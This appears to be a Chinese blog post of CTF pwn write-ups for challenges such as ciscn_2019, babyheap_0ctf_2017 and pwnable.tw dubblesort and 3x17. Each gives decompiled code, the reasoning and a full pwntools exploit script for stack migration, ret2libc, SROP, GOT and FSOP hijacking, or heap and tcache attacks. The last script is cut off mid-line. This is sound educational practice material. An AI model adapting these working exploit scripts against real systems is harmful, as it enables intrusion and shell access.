题目均来自协会arttnba3师傅的帖子《从零开始的pwner生活》,由于本人水平有限,思路如有欠妥,欢迎指正。
task01 0x01.ciscn_2019_s_4 (ret2text + stack_migration) checksec
发现只开了NX和partial relro
ida打开,看到vul函数
1 2 3 4 5 6 7 8 9 10 int vul () { char s[40 ]; memset (s, 0 , 0x20 u); read(0 , s, 0x30 u); printf ("Hello, %s\n" , s); read(0 , s, 0x30 u); return printf ("Hello, %s\n" , s); }
而且有一个hack函数,不能得到flag,但是有system
函数
1 2 3 4 int hack () { return system("echo flag" ); }
程序会read
,printf
先后两次
而每次读取都是0x30
,最多只能溢出到返回地址。
这种情况一般要用到栈迁移。
那么很明显只要泄露出栈地址,然后利用leave_ret
进行栈迁移就可以gets hell了。
exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context.log_level='debug' io = remote('node4.buuoj.cn' ,28888 ) elf = ELF('./ciscn_s_4' ) sys = 0x804854B offset = 0x28 + 4 payload1 = b'A' *(offset-4 ) io.recvuntil(b'Welcome' ) io.send(payload1) io.recvuntil(b'A' *(offset-4 )) ebp = u32(io.recv(4 )) print ("ebp:" +hex (ebp))sys = elf.plt['system' ] leave_ret = 0x80484b8 payload2 = p32(sys) + b'AAAA' + p32(ebp-0x38 +0xc ) + b'/bin/sh\x00' + b'A' *(offset-0x14 -4 ) + p32(ebp-0x38 -4 ) + p32(leave_ret) io.send(payload2) io.interactive()
0x02.MSSCTF2020 - Wallet( got hijack ) 先checksec
看到开了NX,partial relro和canary
main
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; int v5; int v6[2 ]; int *p_argc; p_argc = &argc; v6[1 ] = __readgsdword(0x14 u); setbufs(); puts ("Wal1et prepares a big wallet for you, but clever man always has double passwords. So make your choice." ); puts ("1.JUST OPEN IT!" ); puts ("2.EXIT" ); __isoc99_scanf("%d" , v6, v4, v5); if ( v6[0 ] == 1 ) { begin(p_argc); check(); puts ("Here is something you like." ); } return 0 ; }
看到就是一个选择界面,主要在begin
和check
函数里面
begin
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned int begin () { int v1; int v2; char v3[108 ]; unsigned int v4; v4 = __readgsdword(0x14 u); printf ("Show me your name : " ); __isoc99_scanf("%108s" , v3, v1, v2); printf ("Welcome %s! :P\n" , v3); return __readgsdword(0x14 u) ^ v4; }
输入name,不存在溢出
check
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int check () { int v1; int v2; int v3; int v4; int v5; int v6; printf ("Now try the First password : " ); __isoc99_scanf("%d" , v5, v1, v3); fflush(stdin ); printf ("Now try the Second password : " ); __isoc99_scanf("%d" , v6, v2, v4); puts ("Let me think......" ); if ( v5 != 338150 || v6 != 13371337 ) { puts ("You Failed! Try again." ); exit (0 ); } puts ("OMG!YOU SUCCESS!" ); return system("/bin/cat flag" ); }
很明显让v5==338150
并且v6==13371337
就可以得到flag
但是scanf
函数是对v5和v6所指向的地址进行写入
而不是改变v5和v6的值,在check
函数中,我们并没有发现对v5和v6值的修改。
但是从ida中可以看到call begin
之后直接就是call check
,因此check函数里面的v5和v6可以由begin
中的输入控制,仔细观察发现只能控制v5的值,v6值对应栈区域是canary
的位置。那么就不能直接通过判断获得flag,但是我们可以控制v5的值为got表位置,从而利用scanf
读入修改scanf
的got表为system("/bin/cat flag")
,下一次call scanf
的时候就可以cat flag
了
exp为:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context.log_level = 'debug' io = process('./Wal1et' ) io.sendline(b'1' ) io.sendline(b'A' *104 + p32(0x804a02c )) io.sendline(b'134514480' ) io.interactive()
0x03.moeCTF2021 - baby canary( canary leak + ret2libc ) checksec
看到开启了Full relro , NX , canary
ida打开
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned int func () { char s[64 ]; unsigned int v2; v2 = __readgsdword(0x14 u); memset (s, 0 , sizeof (s)); puts ("So can you tell me who you are?" ); read(0 , s, 0x100 u); printf ("Wow.. %s is a good name..." , s); puts ("\nSo what you come there for?" ); fflush(stdout ); read(0 , s, 0x100 u); puts ("That's good...But you need to escape from the canary before you get the flag!" ); fflush(stdout ); return v2 - __readgsdword(0x14 u); }
看到有两次输入,中间有一次输出
第一次输入覆盖canary
的\x00
位置,在打印时可打印出canary
,第二次输入还原canary
然后ret2libc即可
exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from LibcSearcher import *from pwn import *context.log_level = 'debug' io = process('./baby_canary' ) elf = ELF('./baby_canary' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] offset = 0x40 payload1 = b'A' *offset + b'A' io.recvuntil(b'who you are?' ) io.send(payload1) io.recvuntil(payload1) canary = u32(io.recv(3 ).rjust(4 ,b'\x00' )) print ('canary ===> ' +hex (canary))io.recvuntil(b'come there for?' ) payload2 = b'A' *offset + p32(canary) + b'A' *12 + p32(puts_plt) + p32(0x8049238 ) + p32(puts_got) io.send(payload2) io.recvuntil(b'get the flag!\n' ) puts = u32(io.recv(4 )) print ('puts ===> ' +hex (puts))libc = LibcSearcher('puts' ,puts) libcbase = puts - libc.dump('puts' ) sys = libcbase + libc.dump('system' ) bin_sh = libcbase + libc.dump('str_bin_sh' ) payload3 = b'A' *offset + p32(canary) + b'A' *12 + p32(sys) + b'AAAA' + p32(bin_sh) io.send(payload3) io.send(payload3) io.interactive()
task02 0x01.ciscn_2019_c_1( ret2libc ) checksec
看到程序为64位,开启了 partial relro 和 NX
程序是一个加密机,只有encrypt
,没有decrypt
,进入encrypt
函数中
可以看到直接用gets
函数来读取字符串,但是在函数返回之前会被修改,因此需要绕过修改,strlen
是通过\x00
判断是否到达字符串结尾的,直接在字符串开始位置写入\x00
就可以使长度判断为0,从而绕过加密,直接构造栈。
先用puts
函数泄露出libc
地址,然后ret2libc
直接getshell
exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import *context.log_level = 'debug' io = process('ciscn_2019_c_1' ) elf = ELF('./ciscn_2019_c_1' ) encrypt = 0x4009a0 offset = 0x50 +8 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] pop_rdi = 0x400c83 ret = 0x4006b9 io.recvuntil(b'choice!\n' ) io.sendline(b'1' ) io.recvuntil(b'encrypted\n' ) payload = b'\x00' + b'A' *(offset-1 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(encrypt) io.sendline(payload) io.recvuntil('Ciphertext\n\n' ) puts = u64(io.recv(6 ).ljust(8 ,b'\x00' )) print ('puts ===> ' +hex (puts))libc = LibcSearcher('puts' , puts) libcbase = puts - libc.dump('puts' ) sys = libcbase + libc.dump('system' ) bin_sh = libcbase + libc.dump('str_bin_sh' ) io.recvuntil(b'encrypted\n' ) payload = b'\x00' + b'A' *(offset-1 ) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys) io.send(payload) io.interactive()
0x02.ciscn_2019_s_3( ret2csu | SROP ) checksec
看到只开启了 NX 和 partial relro
sys_read
超大溢出,gadgets
里面有系统调用号15rt_sigreturn
,对应系统调用,而且在后面还能看到59号系统调用execve
因此就会有两种思路,一种是SROP,另一种是ret2csu
思路一:SROP 看汇编可以发现其实vuln函数没有一般函数应该有的 leave
操作,因此覆盖0x10个字节就够了
具体过程是先利用write泄露出栈中的已有数据来定位栈地址,并在栈中写入/bin/sh
,覆盖返回地址为vuln函数,第二次直接用pwntools自带的SigreturnFrame控制寄存器为要getshell的布局,然后rop先到mov rax, 0f
, 再syscall
,后面加上SigreturnFrame
exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *io = process('./ciscn_s_3' ) elf = ELF('./ciscn_s_3' ) context(os='linux' , arch='amd64' , log_level='debug' ) vuln = 0x4004ed payload1 = b'/bin/sh\x00' *2 + p64(vuln) io.send(payload1) io.recv(0x20 ) leak_stack = u64(io.recv(8 )) print ("leak_stack ===> " +hex (leak_stack))bin_sh = leak_stack - 0x148 frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = bin_sh frame.rsi = 0 frame.rdx = 0 frame.rip = 0x400517 sigreturn = 0x4004da syscall = 0x400517 payload2 = b'/bin/sh\x00' *2 +p64(sigreturn) + p64(syscall) + bytes (frame) io.send(payload2) io.interactive()
思路二:ret2csu 利用mov rax, 3b ret
和syscall
,再结合__libc_csu_init
里面的gadgets进行rop
exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *io = process('./ciscn_s_3' ) elf = ELF('./ciscn_s_3' ) context(os='linux' ,arch='amd64' ,log_level='debug' ) offset = 0x10 csu_gadget1 = 0x400596 csu_gadget2 = 0x400580 vuln = 0x4004ed syscall = 0x400517 execve = 0x4004e2 pop_rdi = 0x4005a3 ret = 0x4003a9 def csu_payload (rdi, rsi, rdx, r12, ret_addr ): payload = b'/bin/sh\x00' + p64(execve) payload += p64(csu_gadget1) payload += b'A' *8 payload += p64(0 ) + p64(1 ) + p64(r12) + p64(rdx) + p64(rsi) + p64(rdi) payload += p64(csu_gadget2) payload += b'A' *56 payload += p64(ret_addr) return payload payload1 = b'/bin/sh\x00' *2 + p64(vuln) io.send(payload1) io.recv(0x20 ) leak_stack = u64(io.recv(8 )) bin_sh = leak_stack - 0x148 print ("bin_sh ===> " +hex (bin_sh))payload2 = csu_payload(bin_sh,0 ,0 ,bin_sh+8 ,execve) io.send(payload2 + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(syscall)) io.interactive()
0x03.[BJDCTF 2nd]r2t4( got hijack ) checksec
看到开了NX和canary,partial relro
只有格式化字符串,那就是修改got表,printf后面要执行的函数就只有一个__stack_chk_fail函数,修改该函数got表为backdoor地址即可
exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *io = process('./r2t4' ) elf = ELF('./r2t4' ) context(log_level='debug' ) attach(io) pause() backdoor = 0x400626 offset = 6 payload = b'%6c%10$hhn%32c%11$hhn%26c%12$hhn' + p64(0x601019 ) + p64(0x601018 ) + p64(0x60101a ) payload = payload.ljust(100 ,b'A' ) io.send(payload) io.interactive()
task03 0x01.ciscn_2019_n_7( exit_hook劫持 | FSOP) 思路一:exit_hook劫持 checksec
看到保护全开
看起来好像是个堆题,但是没有对于堆漏洞的利用
输入666可以泄露出libc地址
程序首先会分配0x18大小的内存,在所分配内存的前8个字节存储string_length
,后0x10字节为string
,但是最后8个字节会在edit时产生任意地址写漏洞,可以利用one_gadget
,因为我们无法主动执行malloc
和free
函数,因此劫持exit_hook
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *context(os='linux' ,arch='amd64' ,log_level='debug' ) io = remote('node4.buuoj.cn' ,29322 ) elf = ELF('./ciscn_2019_n_7' ) libc = ELF('./libc-2.23.so' ) def choose (choice ): io.recvuntil(b'Your choice-> \n' ) io.sendline(str (choice)) choose(666 ) io.recvuntil(b'0x' ) puts = int (io.recv(12 ),16 ) print ('puts ===> ' +hex (puts))libcbase = puts - libc.symbols['puts' ] print ('libcbase ===> ' +hex (libcbase))one_gadget = libcbase + 0xf1147 exit_hook = libcbase + 0x5f0040 + 3848 print ('exit_hook ===> ' +hex (exit_hook))log.success('one_gadget ===> ' +hex (one_gadget)) choose(1 ) io.recvuntil(b'Length: \n' ) io.sendline(str (48 )) io.recvuntil(b'name:\n' ) io.send(b'A' *8 +p64(exit_hook)) choose(2 ) io.recvuntil(b'name:\n' ) io.send(b'A' *8 ) io.recvuntil(b'contents:\n' ) io.send(p64(one_gadget)*2 ) io.sendline(b'a' ) io.interactive()
思路二:FSOP 一个古老的技巧,只适用于libc-2.23及之前版本,libc-2.24下也可以使用,但需要使用house of orange
(一种结合_IO_FILE的组合利用方式)
本题可以直接任意地址写,输入666泄露出libc基址后直接修改io_stderr
结构体中的内容,然后正常退出即可(不要输入4退出,否则不会得到shell)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context(log_level='debug' ) io = process('./ciscn_2019_n_7' ) elf = ELF('./ciscn_2019_n_7' ) libc = ELF('./libc-2.23.so' ) def DEBUG (): attach(io) pause() def choose (choice ): io.recvuntil(b'Your choice-> \n' ) io.sendline(str (choice)) choose(666 ) io.recvuntil(b'0x' ) puts = int (io.recv(12 ),16 ) print ('puts ===> ' +hex (puts))libcbase = puts - libc.symbols['puts' ] print ('libcbase ===> ' +hex (libcbase))_IO_list_all = libcbase + libc.symbols['_IO_list_all' ] print ('_IO_list_all ===> ' +hex (_IO_list_all))one_gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] io.recvuntil(b'Your choice-> \n' ) io.sendline(b'1' ) io.recvuntil(b'Input string Length: \n' ) io.sendline(str (0x100 ).encode()) io.recvuntil(b'Author name:' ) io.send(b'Static' ) io_stderr = _IO_list_all+0x20 io.recvuntil(b'Your choice-> \n' ) io.sendline(b'2' ) io.recvuntil(b'New Author name:\n' ) io.send(b'A' *0x8 +p64(io_stderr)) io.recvuntil(b'New contents:' ) fake_io = b'/bin/sh\x00' +p64(0 )*4 +p64(libcbase+libc.symbols['system' ]) fake_io = fake_io.ljust(0xd8 ,b'\x00' )+p64(io_stderr+0x10 ) io.send(fake_io) io.sendline(b'5' ) io.interactive()
关于FSOP,在libc-2.23下由于对vtable没有任何检查,导致可以通过伪造而调用自己想要调用的函数,具体调用方式为exit()
函数中的_IO_flush_all_lockp ()
函数,其会刷新_IO_list_all
链表中的所有文件流,并且会调用_IO_OVERFLOW
函数指针,函数调用具体逻辑为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int _IO_flush_all_lockp (int do_lock) { ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; ...
由于_IO_FILE结构体中的vtable指针可以被修改,因此可以指向任意我们伪造好的位置。修改好后,只需要满足fp->mode <= 0 && fo->_IO_write_ptr > fp->_IO_write_base
即可进行调用,且调试发现该函数参数为结构体的第一个元素值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 *RAX 0x7f671d85e550 (_IO_2_1_stderr_+16 ) ◂— 0x0 *RBX 0x7f671d85e540 (_IO_2_1_stderr_) ◂— 'LookHere' *RCX 0x7f671d85ec30 ◂— 0x0 *RDX 0x0 *RDI 0x7f671d85e540 (_IO_2_1_stderr_) ◂— 'LookHere' *RSI 0xffffffff *R8 0x4 *R9 0x0 *R10 0x7fff63e6a548 —▸ 0x7f671da899d8 (_rtld_global+2456 ) —▸ 0x7f671d863000 ◂— jg 0x7f671d863047 *R11 0x3 *R12 0x7f671da86700 ◂— 0x7f671da86700 *R13 0x0 R14 0x0 *R15 0x2 *RBP 0x0 *RSP 0x7fff63e6a568 —▸ 0x7f671d515196 ◂— cmp eax, -1 *RIP 0x7f671d4de390 (system) ◂— test rdi, rdi
0x02.[V&N2020 公开赛]warmup( orw ) checksec
看到除了canary,其他都开了
seccomp-tools
看到禁用了execve
程序的缓冲区恰好接上,直接写payload就行
在libc的bss段上写入/bin/sh
和flag
字符串,直接得到flag
exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *context(log_level='debug' ) io = remote('node4.buuoj.cn' ,29676 ) elf = ELF('./vn_pwn_warmup' ) libc = ELF('./libc-2.23.so' ) io.recvuntil(b'gift: 0x' ) puts = int (io.recv(12 ), 16 ) log.success('puts ===> ' +hex (puts)) libcbase = puts - libc.symbols['puts' ] log.success('libcbase ===> ' +hex (puts)) pop_rdi = libcbase + 0x21102 pop_rsi = libcbase + 0x202e8 pop_rdx = libcbase + 0x1b92 open_ = libcbase + libc.symbols['open' ] read_ = libcbase + libc.symbols['read' ] libc_buf = libcbase + 0x3c5000 io.recvuntil(b'Input something: ' ) payload1 = p64(0 ) + p64(pop_rsi) + p64(libc_buf) + p64(pop_rdx) + p64(0x50 ) + p64(read_) \ + p64(pop_rdi) + p64(libc_buf) + p64(pop_rsi) + p64(0 ) + p64(pop_rdx) + p64(0 ) + p64(open_) \ + p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(libc_buf) + p64(pop_rdx) + p64(0x30 ) + p64(read_) \ + p64(pop_rdi) + p64(libc_buf) + p64(puts) io.send(payload1) io.recvuntil(b'name?' ) payload2 = b'A' *0x78 + p64(pop_rdi) io.send(payload2) io.send(b'flag' ) io.interactive()
0x03.minilCTF2020 - easycpp( cpp ) checksec
看到只开了NX,partial relro,32位
这c++光看着就没有想法了,没系统学,就简单看了看
主函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl main (int argc, const char **argv, const char **envp) { B *v3; setvbuf (stdout, 0 , 2 , 0 ); v3 = (B *)operator new (4u ); v3->_vptr_A = 0 ; B::B (v3); operator delete (v3) ; fgets (buf, 1024 , stdin); strdup (buf); (*v3->_vptr_A)(v3); return 0 ; }
程序最后的函数调用格外显眼
strdup是会拷贝字符串到分配的内存,而v3对应内存刚好释放,直接写地址就行,程序会直接执行v3所存的地址指向的地址上的代码
gdb调试很容易明白此时的调用逻辑
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/usr/bin/env python3 from pwn import * #程序会调用二级函数指针,直接动调解决 io = process('./easycpp' ) #attach(io) #pause() payload = p32(0x804a0c4 ) + p32(0x80487bb ) io.sendline(payload) io.interactive()
task04 0x01.[ZJCTF 2019]Login ( ret2text ) checksec
看到NX,canary,partial relro
又是一个c++题,程序会有两次输入,一次是username,一次是password,在最后的password_checker
函数里面可以看到函数指针
password_checker
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned __int64 __fastcall password_checker (void (*)(void )) ::{lambda(char const *,char const *)#1 }::operator()( void (***a1)(void ), const char *a2, const char *a3) { char s[88 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); if ( !strcmp (a2, a3) ) { snprintf (s, 0x50 uLL, "Password accepted: %s\n" , s); puts (s); (**a1)(); } else { puts ("Nope!" ); } return __readfsqword(0x28 u) ^ v5; }
我们首先要通过密码比较,如果不能理解这个函数指针,可以gdb调试,输入一些地址试一试。在输入的过程中,注意要8字节对齐。
exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context(log_level='debug' ) io = process('./login' ) io.recvuntil(b'username: ' ) io.sendline(b'A' *8 ) io.recvuntil(b'password: ' ) io.sendline(b'2jctf_pa5sw0rd\x00A' +p64(0x400e88 )*8 ) io.interactive()
0x02.pwnable.tw - dubblesort( ret2libc ) 先checksec
,保护全开
程序主要逻辑为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 __printf_chk(1 , "What your name :" ); read(0 , buf, 0x40 u); __printf_chk(1 , "Hello %s,How many numbers do you what to sort :" ); __isoc99_scanf("%u" , &v8); v3 = v8; if ( v8 ){ v4 = v9; for ( i = 0 ; i < v8; ++i ) { __printf_chk(1 , "Enter the %d number : " ); fflush(stdout ); __isoc99_scanf("%u" , v4); v3 = v8; v4 += 4 ; } } sub_931(v9, v3); puts ("Result :" );if ( v8 ){ for ( j = 0 ; j < v8; ++j ) __printf_chk(1 , "%u " ); }
我们会先输入name,这个过程可以泄露出栈中数据,栈中会有和libcbase相关的数据,然后输入要排序的数的个数,sub_931
是一个排序的函数,v4每次都要加4,但没有增加的边界,因此会产生溢出,我们可以绕过canary来覆盖返回地址,实现ret2libc
exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *context(log_level='debug' ) io = process('./dubblesort' ) elf = ELF('./dubblesort' ) libc = elf.libc io.recvuntil(b'name :' ) io.send(b'A' *0x1c ) io.recvuntil(b'A' *0x1c ) libcbase = u32(io.recv(4 ))-0x184be print ('libcbase ===> ' +hex (libcbase))sys = libcbase + libc.symbols['system' ] bin_sh = libcbase + next (libc.search(b'/bin/sh\x00' )) io.recvuntil(b'sort :' ) io.sendline(b'35' ) for i in range (24 ): io.sendline(b'1' ) io.sendline(b'+' ) for i in range (8 ): io.sendline(str (sys).encode()) for i in range (2 ): io.sendline(str (bin_sh).encode()) io.interactive()
0x03.babyfengshui_33c3_2016( got hijack ) checksec
看到开了NX,canary,partial relro
一个目录题,有增加、删除、打印、修改功能。
在add
功能里面可以看到对name
的写入长度明显过长,产生溢出
在调试分析之后我们发现程序在add
时会产生两个堆块,第一个存储description
,第二个存储指向description
的指针和name
,因此我们要试图利用溢出来控制这个指针,控制后我们就可以泄露libc
地址并且修改got
表。(one_gadget
似乎都无法满足条件)
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *context(log_level='debug' ) io = process('./babyfengshui_33c3_2016' ) libc = ELF('./libc-2.23.so' ) def add_ (descri_size, name, text_size, text ): io.recvuntil(b'Action: ' ) io.sendline(b'0' ) io.recvuntil(b'description: ' ) io.sendline(str (descri_size).encode()) io.recvuntil(b'name: ' ) io.sendline(name) io.recvuntil(b'text length: ' ) io.sendline(str (text_size).encode()) io.recvuntil(b'text: ' ) io.sendline(text) def delete_ (index ): io.recvuntil(b'Action: ' ) io.sendline(b'1' ) io.recvuntil(b'index: ' ) io.sendline(str (index).encode()) def display_ (index ): io.recvuntil(b'Action: ' ) io.sendline(b'2' ) io.recvuntil(b'index: ' ) io.sendline(str (index).encode()) def update_ (index, text_size, text ): io.recvuntil(b'Action: ' ) io.sendline(b'3' ) io.recvuntil(b'index: ' ) io.sendline(str (index).encode()) io.recvuntil(b'text length: ' ) io.sendline(str (text_size).encode()) io.recvuntil(b'text: ' ) io.sendline(text) free_got = 0x804b010 add_(0x20 , b'AAAA' , 0x20 , b'BBBB' ) add_(0x20 , b'AAAA' , 0x20 , b'BBBB' ) delete_(0 ) add_(0x80 , b'AAAA' , 0xd0 , b'/bin/sh\x00' +b'A' *(0x80 +0x28 +8 -8 )+p32(free_got)) display_(1 ) io.recvuntil(b'description: ' ) free = u32(io.recv(4 )) print ('free ===> ' +hex (free))libcbase = free - libc.symbols['free' ] system = libcbase + libc.symbols['system' ] update_(1 , 4 , p32(system)) delete_(2 ) io.interactive()
task05 0x01.babyheap_0ctf_2017( heap_overflow + fastbin attack ) checksec
看到保护全开
程序在fill
时未检查填充大小,会产生溢出
可以先将堆块置于unsorted bin
里面,由于从unsorted bin
里面取出堆块时,不会检查大小,因此可以通过修改大小来造成堆块重叠,从而实现对libc
地址的泄露,并且可以写入非法地址,并获取到对应地址进行任意写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import *context(log_level='debug' ) io = process('./babyheap_0ctf_2017' ) elf = ELF('./babyheap_0ctf_2017' ) libc = ELF('./libc-2.23.so' ) def menu_ (num ): io.recvuntil(b'Command: ' ) io.sendline(str (num).encode()) def alloc_ (size ): menu_(1 ) io.recvuntil(b'Size: ' ) io.sendline(str (size).encode()) def fill_ (index, size, content ): menu_(2 ) io.recvuntil(b'Index: ' ) io.sendline(str (index).encode()) io.recvuntil(b'Size: ' ) io.sendline(str (size).encode()) io.recvuntil(b'Content: ' ) io.send(content) def free_ (index ): menu_(3 ) io.recvuntil(b'Index: ' ) io.sendline(str (index).encode()) def dump_ (index ): menu_(4 ) io.recvuntil(b'Index: ' ) io.sendline(str (index).encode()) alloc_(0xa0 ) alloc_(0xa0 ) alloc_(0x10 ) free_(0 ) alloc_(0x10 ) fill_(0 , 0x20 , b'A' *0x10 +p64(0 )+p64(0x101 )) alloc_(0xa0 ) fill_(3 , 0x90 , b'A' *0x80 +p64(0 )+p64(0xb1 )) free_(1 ) dump_(3 ) io.recvuntil(b'A' *0x80 ) io.recv(0x18 ) main_area = u64(io.recv(8 )) print ('main_area ===> ' +hex (main_area))libcbase = main_area - 0x3c4b78 print ('libcbase ===> ' +hex (libcbase))malloc_hook = libcbase + libc.symbols['__malloc_hook' ] sys = libcbase + libc.symbols['system' ] print ('malloc_hook ===> ' +hex (malloc_hook))for i in range (10 ): alloc_(0x60 ) one_gadget = [0x45226 , 0x4527a , 0xf03a4 , 0xf1247 ] free_(10 ) fill_(9 , 0x78 , b'A' *0x60 +p64(0 )+p64(0x71 )+p64(malloc_hook-0x23 )) alloc_(0x60 ) alloc_(0x60 ) fill_(13 ,0x23 -0x10 +8 ,b'A' *0x13 +p64(libcbase+one_gadget[1 ])) alloc_(0x10 ) io.interactive()
0x02.pwnable.tw - 3×17( fini_array劫持 ) 先checksec
看到只开了NX,partial relro
该程序为静态编译程序,把所有要用到的库函数都编译进了这个程序,而且必定会有syscall
由于程序结束后会执行libc_csu_fini
函数,该函数中会依次调用fini_array[1]
和fini_array[0]
,可以改写fini_array[0]
为libc_csu_fini
函数的地址,fini_array[1]
为main
函数地址。这样程序会不断进行调用。
在main
函数中可以看到要使byte_4B9330
为1时才能进行地址改写,但实际上不需要理会这个条件,因为在循环的过程中,它会自行溢出为1。
由于libc_csu_fini
函数中存在语句lea rbp, off_4B40F0
,会导致rbp
值为fini_array
地址,通过改写fini_array+0x10
数据为gadgets
,然后修改fini_array[0]
为leave_ret
的gadget
进行栈迁移,即可getshell。
exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *context(log_level='debug' ) io = process('./3x17' ) elf = ELF('./3x17' ) pop_rdi = 0x401696 pop_rsi = 0x406c30 pop_rdx = 0x446e35 pop_rax = 0x41e4af syscall = 0x446e2c start = 0x401b6d fini_array = 0x4b40f0 csu_fini = 0x402960 bss = 0x4b4100 leave_ret = 0x401c4b def change (addr, data ): io.recvuntil(b'addr:' ) io.send(str (addr).encode()) io.recvuntil(b'data:' ) io.send(data) change(fini_array, p64(csu_fini)+p64(start)) payload = [pop_rdi, 0 , pop_rsi, bss-0x100 , pop_rdx, 0x10 , pop_rax, 0 , syscall, \ pop_rdi, bss-0x100 , pop_rsi, 0 , pop_rdx, 0 , pop_rax, 59 , syscall] for i in range (18 ): change(bss+i*8 ,p64(payload[i])) change(fini_array, p64(leave_ret)+p64(start)+p64(pop_rdi)) io.send(b'/bin/sh\x00' ) io.interactive()
0x03.ciscn_2019_final_3( tcache poisoning + UAF ) checksec
看到保护全开
一个c++堆题目,为了做这个题,我另外下了个ubuntu18。。。
没有show
功能,以为要爆破stdout
打出libc,看了wp才知道是劫持tcache_struct
来实现分配到libc,进而泄露出libc
大致步骤为:由于程序会泄露堆地址,先利用 tcache stash
机制绕过double free
的检查分配到tcache_struct
位置,修改其值为刚好释放该块时可以进入unsorted bin
的值,从而在tcache
中的fd
为会修改为libc中的某个值,从而通过gift
泄露出来。之后再次劫持堆块,分配到__free_hook
位置,修改为system
函数地址,free
掉存有/bin/sh\x00
的堆块。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *context(log_level='debug' ) io = remote('node4.buuoj.cn' ,28698 ) file = './ciscn_final_3' elf = ELF(file) libc = elf.libc def DEBUG (): attach(io) pause() def menu (choice ): io.recvuntil(b'choice > ' ) io.sendline(str (choice).encode()) def add (index, size, content ): menu(1 ) io.recvuntil(b'index\n' ) io.sendline(str (index).encode()) io.recvuntil(b'size\n' ) io.sendline(str (size).encode()) io.recvuntil(b'something\n' ) io.send(content) def remove (index ): menu(2 ) io.recvuntil(b'index\n' ) io.sendline(str (index).encode()) def gifts (): io.recvuntil(b'gift :0x' ) address = int (io.recv(12 ),16 ) print ('gift ===> ' +hex (address)) return address for i in range (9 ): add(i, 0x70 , b'/bin/sh\x00' ) tcache_struct = gifts() - 0x12270 for i in range (9 ): remove(i) print ('tcache struct ===> ' +hex (tcache_struct))remove(7 ) for i in range (9 , 16 ): add(i,0x70 ,b'/bin/sh\x00' ) add(16 ,0x70 ,p64(tcache_struct+0x10 )) add(17 ,0x70 ,b'AAAA' ) add(18 ,0x70 ,b'AAAA' ) add(19 ,0x70 ,(b'\x00' *0x23 +b'\x07' ).ljust(0x40 ,b'\x00' )+p64(tcache_struct+0x10 